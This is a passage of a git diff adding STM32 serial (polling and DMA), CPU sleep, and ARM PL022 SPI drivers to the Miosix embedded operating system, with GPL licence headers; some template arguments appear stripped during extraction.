l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + for(size_t i=0;iget()->ISR & USART_ISR_TXE)==0) ; + port->get()->TDR=*buf++; + } + return size; +} + +void STM32Serial::IRQhandleInterrupt() +{ + unsigned int status=port->get()->ISR; + char c; + rxUpdateIdle(status); + if(status & USART_ISR_RXNE) + { + //Always read data, since this clears interrupt flags + c=port->get()->RDR; + //If no error put data in buffer + if((status & USART_ISR_FE)==0) + if(rxQueuePut(c)==false) /*fifo overflow*/; + } + if(status & USART_ISR_IDLE) + { + port->get()->ICR=USART_ICR_IDLECF; //clears interrupt flags + } + if((status & USART_ISR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32Serial::IRQwrite(const char *str) +{ + STM32SerialBase::IRQwrite(str); +} + +STM32Serial::~STM32Serial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQunregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +// +// class STM32DmaSerial +// + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32DmaSerial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + //Check if DMA is supported for this port + auto dma=port->getDma(); + if(!dma.get()) errorHandler(Error::UNEXPECTED); + GlobalIrqLock dLock; + + dma.IRQenable(); + dma.IRQinit(); + IRQregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + + port->IRQenable(); + //Lower priority to ensure IRQhandleDmaRxInterrupt() is called before + //IRQhandleInterrupt(), so that idle is set correctly + NVIC_SetPriority(port->getIRQn(),defaultIrqPriority+1); + IRQregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + + port->get()->CR3 = USART_CR3_DMAT | USART_CR3_DMAR; //Enable USART DMA + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled + //IRQstartDmaRead(); +} + +ssize_t STM32DmaSerial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + size_t remaining=size; + //If the client-provided buffer is not in CCM, we can use it directly + //as DMA source memory (zero copy). + if(isInCCMarea(buf)==false) + { + //We don't use zero copy for the last txBufferSize bytes because in this + //way we can return from this function a bit earlier. + //If we returned while the DMA was still reading from the client + //buffer, and the buffer is immediately rewritten, shit happens + while(remaining>txBufferSize) + { + //DMA is limited to 64K + size_t transferSize=min(remaining-txBufferSize,65535); + waitDmaWriteEnd(); + startDmaWrite(buf,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + } + //DMA out all remaining data through txBuffer + while(remaining>0) + { + size_t transferSize=min(remaining,static_cast(txBufferSize)); + waitDmaWriteEnd(); + //Copy to txBuffer only after DMA xfer completed, as the previous + //xfer may be using the same buffer + memcpy(txBuffer,buf,transferSize); + startDmaWrite(txBuffer,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + #ifdef WITH_DEEP_SLEEP + //The serial driver by default can return even though the last part of + //the data is still being transmitted by the DMA. When using deep sleep + //however the DMA operation needs to be fully enclosed by a deep sleep + //lock to prevent the scheduler from stopping peripheral clocks. + waitDmaWriteEnd(); + waitSerialTxFifoEmpty(); //TODO: optimize by doing it only when entering deep sleep + #endif //WITH_DEEP_SLEEP + return size; +} + +void STM32DmaSerial::startDmaWrite(const char *buffer, size_t size) +{ + markBufferBeforeDmaWrite(buffer,size); + DeepSleepLock dpLock; + //The TC (Transfer Complete) bit in the Status Register (SR) of the serial + //port can be reset by writing to it directly, or by first reading it + //out and then writing to the Data Register (DR). + // The waitSerialTxFifoEmpty() function relies on the status of TC to + //accurately reflect whether the serial port is pushing out bytes or not, + //so it is extremely important for TC to *only* be reset at the beginning of + //a transmission. + // Since the DMA peripheral only writes to DR and never reads from SR, + //we must read from SR manually first to ensure TC is cleared as soon as + //the DMA writes to it -- and not earlier! + // The alternative is to zero out TC by hand, but if we do that TC becomes + //unreliable as a flag. Consider the case in which we are clearing out TC + //in this routine before configuring the DMA. If the DMA fails to start due + //to an error, or the CPU is reset before the DMA transfer is started, the + //USART won't be pushing out bytes but TC will still be zero. As a result, + //waitSerialTxFifoEmpty() will loop forever waiting for the end of a + //transfer that is not happening. + while((port->get()->ISR & USART_ISR_TXE)==0) ; + + dmaTxInProgress=true; + //The reinterpret cast is needed because ST, in its infinite wisdom, decided + //that in L4 headers this register is now 16 bit. Please, nameless engineers + //at ST, stop fighting on the names and register definitions! + port->getDma().startDmaWrite( + reinterpret_cast(&port->get()->TDR),buffer,size); +} + +void STM32DmaSerial::IRQhandleDmaTxInterrupt() +{ + port->getDma().IRQhandleDmaTxInterrupt(); + dmaTxInProgress=false; + if(txWaiting==nullptr) return; + txWaiting->IRQwakeup(); + txWaiting=nullptr; +} + +void STM32DmaSerial::waitDmaWriteEnd() +{ + FastGlobalIrqLock dLock; + // If a previous DMA xfer is in progress, wait + if(dmaTxInProgress) + { + txWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(txWaiting); + } +} + +ssize_t STM32DmaSerial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); +} + +void STM32DmaSerial::IRQstartDmaRead() +{ + port->getDma().IRQstartDmaRead( + reinterpret_cast(&port->get()->RDR), + rxBuffer,rxQueueMin); +} + +int STM32DmaSerial::IRQstopDmaRead() +{ + return rxQueueMin - port->getDma().IRQstopDmaRead(); +} + +void STM32DmaSerial::IRQflushDmaReadBuffer() +{ + int elem=IRQstopDmaRead(); + markBufferAfterDmaRead(rxBuffer,rxQueueMin); + for(int i=0;iget()->ISR; + rxUpdateIdle(status); + if(status & USART_ISR_IDLE) + { + port->get()->ICR=USART_ICR_IDLECF; //clears interrupt flags + IRQflushDmaReadBuffer(); + } + if((status & USART_ISR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32DmaSerial::IRQwrite(const char *str) +{ + //Wait until DMA xfer ends. EN bit is cleared by hardware on transfer end + port->getDma().IRQwaitDmaWriteStop(); + STM32SerialBase::IRQwrite(str); +} + +STM32DmaSerial::~STM32DmaSerial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQstopDmaRead(); + auto dma=port->getDma(); + IRQunregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQunregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + IRQunregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32u5_serial.h b/miosix/arch/drivers/serial/stm32u5_serial.h new file mode 100644 index 000000000..4f50e88da --- /dev/null +++ b/miosix/arch/drivers/serial/stm32u5_serial.h @@ -0,0 +1,432 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +namespace miosix { + +class STM32SerialHW; +class STM32Serial; + +/** + * \internal Common code for DMA and non-DMA implementations of the STM32 serial + * port class. + */ +class STM32SerialBase +{ +public: + /** + * Utility factory method for crating an instance of the STM32 serial + * drivers. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not correct range or if DMA + * operation is requested and the specified port is not supported. + * \tparam Tx Output GPIO + * \tparam Rx Input GPIO + * \tparam Rts Request to send GPIO (used only for flow control) + * \tparam Cts Clear to send GPIO (used only for flow control) + * \param id A number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1 + * \param speed Serial port baudrate + * \param flowctrl True to enable flow control + * \param dma True to enable DMA operation + */ + template + static inline intrusive_ref_ptr get( + unsigned int id, unsigned int speed, bool flowctrl, bool dma); + + /** + * \return port id, 1 for USART1, 2 for USART2, ... + */ + int getId() const { return portId; } + +private: + /** + * Constructor, does not initialize the peripheral + */ + STM32SerialBase(int id, int baudrate, bool flowControl); + + /** + * Initialize GPIOs, baud rate and flow control + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Write to the serial port directly. Interrupts must be already disabled. + */ + void IRQwrite(const char *str); + + /** + * Wait until all characters have been written to the serial port. + * Needs to be callable from interrupts disabled (it is used in IRQwrite) + */ + void waitSerialTxFifoEmpty(); + + /** + * Read a block of data from rxQueue. Stops when the maximum size is reached + * or if the line becomes idle. + */ + ssize_t readFromRxQueue(void *buffer, size_t size); + + /** + * Update if the line is idle or not from the value of the USART + * status register. + */ + inline void rxUpdateIdle(unsigned long sr) + { + idle=!!(sr & USART_ISR_IDLE); + } + + /** + * Put a value in the rxQueue. + */ + inline bool rxQueuePut(char c) + { + return rxQueue.tryPut(c); + } + + /** + * Wakeup a suspended readFromRxQueue() after a state change of rxQueue or + * line idleness status. + */ + void rxWakeup(); + + /** + * Common implementation of ioctl() for the STM32 serial + */ + int ioctl(int cmd, void* arg); + + friend class STM32Serial; + friend class STM32DmaSerial; + + const STM32SerialHW *port; ///< Pointer to USART port object + const bool flowControl; ///< True if flow control GPIOs enabled + const unsigned char portId; ///< 1 for USART1, 2 for USART2, ... + + KernelMutex rxMutex; ///< Mutex locked during reception + DynUnsyncQueue rxQueue; ///< Receiving queue + static const unsigned int rxQueueMin=16; ///< Minimum queue size + Thread *rxWaiting=nullptr; ///< Thread waiting for rx, or 0 + bool idle=true; ///< Receiver idle +}; + +/** + * Serial port class for stm32 microcontrollers. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32Serial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32Serial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + KernelMutex txMutex; ///< Mutex locked during transmission +}; + +/** + * Serial port class for stm32 microcontrollers which uses DMA for data + * transfer. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32DmaSerial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32DmaSerial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Start a write to the serial port using DMA. The write is asynchronous + * (when the function returns, the transfer is still in progress) + * \param buffer buffer to write + * \param size size of buffer to write + */ + void startDmaWrite(const char *buffer, size_t size); + + /** + * Wait until a pending DMA TX completes, if any + */ + void waitDmaWriteEnd(); + + /** + * Start asynchronously reading from the serial port using DMA into + * rxBuffer. + */ + void IRQstartDmaRead(); + + /** + * The DMA write stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaTxInterrupt(); + + /** + * Stop DMA read into rxBuffer + * \return the number of characters in rxBuffer + */ + int IRQstopDmaRead(); + + /** + * Moves the entire content of rxBuffer into rxQueue for reading out by + * the application thread. + */ + void IRQflushDmaReadBuffer(); + + /** + * The DMA read stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaRxInterrupt(); + + /** + * The serial port interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + /** + * The STM3F3, STM32F4 and STM32L4 have an ugly quirk of having 64KB RAM area + * called CCM that can only be accessed by the processor and not be the DMA. + * \param x pointer to check + * \return true if the pointer is inside the CCM, and thus it isn't possible + * to use it for DMA transfers + */ + static bool isInCCMarea(const void *x) + { + unsigned int ptr=reinterpret_cast(x); + return (ptr>=0x10000000) && (ptr<(0x10000000+64*1024)); + } + + KernelMutex txMutex; ///< Mutex locked during transmission + + Thread *txWaiting=nullptr; ///< Thread waiting for tx, or 0 + static const unsigned int txBufferSize=16; ///< Size of DMA tx buffer + /// Tx buffer, for tx speedup. This buffer must not end up in the CCM of the + /// STM32F4, as it is used to perform DMA operations. This is guaranteed by + /// the fact that this class must be allocated on the heap as it derives + /// from Device, and the Miosix linker scripts never puts the heap in CCM + char txBuffer[txBufferSize]; + /// This buffer emulates the behaviour of a 16550. It is filled using DMA + /// and an interrupt is fired as soon as it is half full + char rxBuffer[rxQueueMin]; + bool dmaTxInProgress=false; ///< True if a DMA tx is in progress +}; + +template +intrusive_ref_ptr STM32SerialBase::get( + unsigned int id, unsigned int speed, bool flowctrl, bool dma) +{ + if(!flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(!flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + else //if(flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sleep/cortexMx_sleep.cpp b/miosix/arch/drivers/sleep/cortexMx_sleep.cpp new file mode 100644 index 000000000..7ebaef061 --- /dev/null +++ b/miosix/arch/drivers/sleep/cortexMx_sleep.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/sleep.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void sleepCpu() +{ + __WFI(); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sleep/lpc2000_sleep.cpp b/miosix/arch/drivers/sleep/lpc2000_sleep.cpp new file mode 100644 index 000000000..07714c194 --- /dev/null +++ b/miosix/arch/drivers/sleep/lpc2000_sleep.cpp @@ -0,0 +1,40 @@ +/*************************************************************************** + * Copyright (C) 2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/sleep.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void sleepCpu() +{ + // ARM7TDMI does not have sleep support in the instruction set, + // it is a vendor-specific feature enabled by the IDL bit in PCON + PCON |= 1<<0; +} + +} //namespace miosix diff --git a/miosix/arch/drivers/spi/arm_pl022_spi.cpp b/miosix/arch/drivers/spi/arm_pl022_spi.cpp new file mode 100644 index 000000000..f10276d47 --- /dev/null +++ b/miosix/arch/drivers/spi/arm_pl022_spi.cpp @@ -0,0 +1,215 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix_settings.h" +#include "arm_pl022_spi.h" + +namespace miosix { + +void PL022Spi::initialize(unsigned int bitrate, bool spo, bool sph) noexcept +{ + if(irqn>=0) + { + GlobalIrqLock lock; + IRQregisterIrq(lock,irqn,&PL022Spi::IRQhandleInterrupt,this); + } + spi->CR0=Regs::CR0_SPH().put(sph) + |Regs::CR0_SPO().put(spo) + |Regs::CR0_FRF().put(0) // Motorola frame format + |Regs::CR0_DSS().put(7); // 8-bit word size + setBitrate(bitrate); + spi->CR1=Regs::CR1_SSE().put(1); +} + +PL022Spi::~PL022Spi() noexcept +{ + GlobalIrqLock lock; + spi->CR1=0; + if(irqn>=0) IRQunregisterIrq(lock,irqn,&PL022Spi::IRQhandleInterrupt,this); +} + +void PL022Spi::setBitrate(unsigned int bitrate) noexcept +{ + this->bitrate=bitrate; + unsigned int ratio=peripheralClock/bitrate; + if(ratio<2) ratio=2; + if(ratio>0xfe00) errorHandler(Error::UNEXPECTED); + unsigned int presc=2; + while(ratio>presc*0x100) presc<<=1; + if(presc>0xfe) presc=0xfe; + unsigned int scr=(ratio/presc)-1; + spi->CPSR=presc; + spi->CR0=Regs::CR0_SCR().put(scr,spi->CR0); +} + +void PL022Spi::IRQhandleInterrupt() noexcept +{ + FastGlobalLockFromIrq lock; + spi->IMSC=0; + if(waiting) + { + waiting->IRQwakeup(); + waiting=nullptr; + } +} + +void PL022Spi::waitForInterrupt(unsigned int flag) noexcept +{ + if(irqn>=0 && bitrate<10*1000*1000) + { + while(!(spi->RIS&flag)) + { + FastGlobalIrqLock lock; + waiting=Thread::IRQgetCurrentThread(); + spi->IMSC=flag; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(lock); + } + } else if(bitrate<10*1000*1000) { + long long sleepns=1000000000LL/bitrate; + while(!(spi->RIS&flag)) Thread::nanoSleep(sleepns); + } else { + while(!(spi->RIS&flag)) ; + } +} + +void PL022Spi::waitForEndTransfer() noexcept +{ + if(bitrate<10*1000*1000) + { + long long sleepns=1000000000LL/bitrate; + while(Regs::SR_BSY().get(spi->SR)) Thread::nanoSleep(sleepns); + } else { + while(Regs::SR_BSY().get(spi->SR)) ; + } +} + +void PL022Spi::setWordSize(unsigned int wordSize) noexcept +{ + spi->CR0=Regs::CR0_DSS().put(wordSize-1,spi->CR0); +} + +unsigned short PL022Spi::sendRecv(unsigned short data, unsigned wordSize) noexcept +{ + setWordSize(wordSize); + spi->DR=data; + waitForEndTransfer(); + return spi->DR; +} + +template +void PL022Spi::sendRecvImpl(const D send[], D recv[], size_t len, unsigned wordSize) noexcept +{ + setWordSize(wordSize); + size_t w=0, r=0; + // Transmit the first 4 bytes + for(size_t i=0; i<4 && wDR=send[w++]; + while(wDR=send[w++]; + // Receive up to 4 bytes + waitForInterrupt(Regs::INT_RX().mask()); + for(size_t i=0; i<4 && rDR; + } + // Last burst of reads + waitForEndTransfer(); + while(rDR; +} + +template +void PL022Spi::sendImpl(const D send[], size_t len, unsigned wordSize) noexcept +{ + setWordSize(wordSize); + size_t w=0; + // Transmit the first 4 bytes + for(size_t i=0; i<4 && wDR=send[w++]; + while(wDR=send[w++]; + } + // Flush read buffer + waitForEndTransfer(); + while(Regs::SR_RNE().get(spi->SR)) (void)spi->DR; + // Clear overflow conditions + spi->ICR=Regs::INT_RO().mask() | Regs::INT_RT().mask(); +} + +template +void PL022Spi::recvImpl(D recv[], size_t len, unsigned wordSize, D sendDummy) noexcept +{ + setWordSize(wordSize); + size_t w=0, r=0; + // Transmit the first 4 bytes + for(size_t i=0; i<4 && wDR=sendDummy; w++; } + while(wDR=sendDummy; w++; } + // Receive up to 4 bytes + waitForInterrupt(Regs::INT_RX().mask()); + for(size_t i=0; i<4 && rDR; + } + // Last burst of reads + waitForEndTransfer(); + while(rDR; +} + +void PL022Spi::sendRecv(const unsigned short send[], unsigned short recv[], size_t len, unsigned wordSize) noexcept +{ + sendRecvImpl(send, recv, len, wordSize); +} + +void PL022Spi::sendRecv(const unsigned char send[], unsigned char recv[], size_t len, unsigned wordSize) noexcept +{ + sendRecvImpl(send, recv, len, wordSize); +} + +void PL022Spi::send(const unsigned short data[], size_t len, unsigned wordSize) noexcept +{ + sendImpl(data, len, wordSize); +} + +void PL022Spi::send(const unsigned char data[], size_t len, unsigned wordSize) noexcept +{ + sendImpl(data, len, wordSize); +} + +void PL022Spi::recv(unsigned short recv[], size_t len, unsigned wordSize, unsigned short sendDummy) noexcept +{ + recvImpl(recv, len, wordSize, sendDummy); +} + +void PL022Spi::recv(unsigned char recv[], size_t len, unsigned wordSize, unsigned short sendDummy) noexcept +{ + recvImpl(recv, len, wordSize, sendDummy); +} + +} // namespace miosix diff --git a/miosix/arch/drivers/spi/arm_pl022_spi.h b/miosix/arch/drivers/spi/arm_pl022_spi.h new file mode 100644 index 000000000..682837fea --- /dev/null +++ b/miosix/arch/drivers/spi/arm_pl022_spi.h @@ -0,0 +1,227 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "kernel/thread.h" +#include "kernel/lock.h" + +namespace miosix { + +/** + * Vendor-independent driver for the ARM PL022 SPI hardware. Master mode only. + */ +class PL022Spi +{ +public: + /** + * Constructor, initializes the SPI port. + * Calls errorHandler(Error::UNEXPECTED) if the port is already being used + * by another instance of this driver or another driver. + * \param base Base address of the memory mapped register bank of the + * peripheral. + * \param irqn The IRQ number for the peripheral, or a negative number if + * there is no IRQ available. + * \param clk The clock of the peripheral in Hz. Use to compute bit rate. + * + * \note Since this peripheral class is vendor-independent, it cannot + * take the peripheral out of reset or configure the GPIOs. This must be + * done in a vendor-dependent way outside of this class. Once this is + * done, you must call the initialize() method before using the peripheral. + */ + PL022Spi(void *base, int irqn, unsigned int clk) noexcept + : spi(reinterpret_cast(base)), irqn(irqn), peripheralClock(clk) { } + + /** + * Destructor. + */ + ~PL022Spi() noexcept; + + /** + * Initialize the hardware. + * \param bitrate Initially configured serial clock frequency upper bound in + * Hz. The actual clock rate programmed might be lower. + * \param spo Clock polarity. `false' keeps the SCK pin low when the line is + * idle, while `true' keeps SCK high instead. + * \param sph Clock phase. `false' if data in/out must be sampled at the + * rising edge of the clock, `true' if it must be sampled at the falling + * edge. + */ + void initialize(unsigned int bitrate, bool spo, bool sph) noexcept; + + /** + * Changes the current serial clock to the specified one. + * \param The clock rate to be programmed in Hz. This is an upper bound; + * the actual clock rate might be lower. + */ + void setBitrate(unsigned int bitrate) noexcept; + + /** + * Send and receive a single word. + * \param data The word to be transmitted + * \param wordSize The word size; only the least significant wordSize bits + * of data will be transmitted, and only wordSize bits are going to be + * received. + * This parameter specifies the number of clocks that correspond to each + * word and must be correct according to what the receiving peripheral + * expects. + * By default it is 8 bits. + * \returns The data coming back from the SI pin. + */ 